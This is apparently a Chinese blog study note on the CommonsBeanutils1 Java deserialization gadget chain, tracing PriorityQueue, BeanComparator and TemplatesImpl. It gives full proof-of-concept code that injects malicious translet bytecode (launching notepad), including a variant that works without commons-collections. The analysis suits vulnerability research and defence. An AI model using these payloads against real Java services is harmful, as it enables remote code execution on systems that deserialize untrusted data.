• CommonsBeanutils1 分析笔记


    1、PropertyUtils.getProperty

    commons-beanutils-1.9.2.jar 包下的 PropertyUtils#getProperty方法相对于getXxx方法,取得其值。

    来试下该方法功能

    public class Person {
        private String name;
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    }
    
    ...
        
    public class PropertyUtilsTest {
        @Test
        public void test() throws Exception{
            Person p = new Person();
            p.setName("liangzi");
            String name =(String) PropertyUtils.getProperty(p, "name");
            System.out.println(name);
        }
    }
    

    我们知道通过 TemplatesImplbytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,可以造成任意命令执行。

    TemplatesImpl 类中存在 getOutputProperties方法

    可以通过PropertyUtils.getProperty 来构造如下代码

    package com.test.serialize;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import org.apache.commons.beanutils.PropertyUtils;
    import org.junit.Test;
    
    import java.lang.reflect.Field;
    
    public class TempletesTest {
    
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static byte[] classToBytes() throws Exception{
            byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
            return bytes;
        }
    
        @Test
        public void test() throws Exception{
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name", "Pwnr");
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
            setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
            PropertyUtils.getProperty(templates,"outputProperties");
        }
    }
    
    ...
        
    
    RunCmd 恶意类
    
    package com.test.serialize;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    
    public class RunCmd extends AbstractTranslet{
        static {
            try {
                Runtime.getRuntime().exec(new String[]{"cmd","/c","notepad.exe"});
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    

    正常执行命令。

    2、构造poc

    1、通过ysoserial 可以发现使用了 PriorityQueue 对象,所以我们来到 PriorityQueue#readObject 方法

    2、在 BeanComparator 类中存在 compare 方法,该方法中有使用 PropertyUtils.getProperty 方法

    我们目标是要进去到 PropertyUtils.getProperty 方法中,首先需要有调用 compare的地方,同时 property!=null,继续回到 PriorityQueue#readObject 中,看到 heapify() 方法

    流程如下

    heapify -> siftDown -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right])

    comparator 由 PriorityQueue 构造方法传入,所以我们传入 BeanComparator 对象即可进去到BeanComparator 类的 compare 方法

    构造payload

    package com.test.serialize;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import org.apache.commons.beanutils.BeanComparator;
    import org.junit.Test;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    public class TemplatesTest2 {
    
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static byte[] classToBytes() throws Exception{
            byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
            return bytes;
        }
    
        @Test
        public void test() throws Exception{
    
            BeanComparator beanComparator = new BeanComparator();
    
            PriorityQueue queue = new PriorityQueue(2, beanComparator);
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name", "Pwnr");
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
            setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
            setFieldValue(queue,"size",2);
            setFieldValue(queue,"queue",new Object[]{templates, templates});
            setFieldValue(beanComparator, "property", "outputProperties");
    
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(queue);
            oos.close();
    
            System.out.println(bos);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
            ois.readObject();
    
        }
    }
    

    3、排除 commons-collections 包构造poc

    在maven中加入如下配置,再次运行上面的poc

    <exclusions>
        <exclusion>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
        </exclusion>
    </exclusions>
    

    java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator
    

    所以这里我们要传入非 collections包中的 ComparableComparator

    需要满足下面条件

    • 实现java.util.Comparator接口
    • 实现java.io.Serializable接口

    获取实现了comparator 并可序列化的类

    import org.junit.Test;
    import org.reflections.Reflections;
    
    import java.io.Serializable;
    import java.util.Comparator;
    import java.util.Set;
    
    
    public class ClassUtil {
        @Test
        public void test() {
            Reflections reflections1 = new Reflections("java.*");
            Set<Class<? extends Comparator>> comparatorclasses = reflections1.getSubTypesOf(Comparator.class);
            Reflections reflections2 = new Reflections("java.*");
            Set<Class<? extends Serializable>> serializableclasses = reflections1.getSubTypesOf(Serializable.class);
    
            for (Class clazz : comparatorclasses) {
    //            System.out.println("Found: " + clazz.getName());
                for (Class serialclazz : serializableclasses){
                    if(serialclazz.getName().equals(clazz.getName())){
                        System.out.println(clazz.getName());
                    }
                }
            }
        }
    }
    
    得出
        
    java.util.Comparators$NaturalOrderComparator
    javax.swing.plaf.basic.BasicTreeUI$TreeTransferHandler
    java.util.Collections$ReverseComparator2
    java.util.Comparators$NullComparator
    java.util.Collections$ReverseComparator
    java.lang.String$CaseInsensitiveComparator
    javax.swing.LayoutComparator
    

    java.util.Collections.java

    package com.test.serialize;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import org.apache.commons.beanutils.BeanComparator;
    import org.junit.Test;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.Collections;
    import java.util.PriorityQueue;
    
    public class TemplatesTest2 {
    
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static byte[] classToBytes() throws Exception{
            byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
            return bytes;
        }
    
        @Test
        public void test() throws Exception{
    
            BeanComparator beanComparator = new BeanComparator(null,Collections.reverseOrder());// 或 BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
    
            PriorityQueue queue = new PriorityQueue(2, beanComparator);
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name", "Pwnr");
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
            setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
            setFieldValue(queue,"size",2);
            setFieldValue(queue,"queue",new Object[]{templates, templates});
            setFieldValue(beanComparator, "property", "outputProperties");
    
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(queue);
            oos.close();
    
            System.out.println(bos);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
            ois.readObject();
    
        }
    }
    

    4、参考

  • 相关阅读:
    二叉树的创建、遍历、翻转
    KVO
    Objective-C Runtime 的一些理解
    深浅拷贝、copy的使用
    Python学习笔记(二)
    Python常见陷阱
    [LeetCode] 36. Valid Sudoku
    [LeetCode] 35. Search Insert Position
    [LeetCode] 34. Search for a Range
    [LeetCode] 33. Search in Rotated Sorted Array
  • 原文地址:https://www.cnblogs.com/depycode/p/14686521.html
Copyright © 2020-2023  润新知